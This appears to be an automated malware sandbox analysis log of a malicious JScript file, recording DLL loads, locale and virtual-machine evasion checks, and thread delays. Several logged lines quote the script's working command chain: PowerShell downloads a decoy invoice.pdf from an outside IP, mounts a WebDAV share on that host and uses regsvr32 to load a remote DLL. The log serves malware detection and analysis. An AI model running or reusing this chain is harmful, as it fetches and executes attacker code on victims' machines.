Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1087.js.csv");ITextStream.WriteLine(" entry:8760 f:rcaryn");ITextStream.WriteLine(" exec:2 f:rcaryn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4048			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5847			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5068	Thread sleep count: 4048 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6564	Thread sleep count: 5847 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6516	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2094191341.000001E0CD2D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXr
Source: wscript.exe, 00000000.00000003.2034014743.0000025C93424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2D3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3313732447.00000286FE454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0\|-
Source: svchost.exe, 00000009.00000002.3312615738.00000286F8E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPnE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
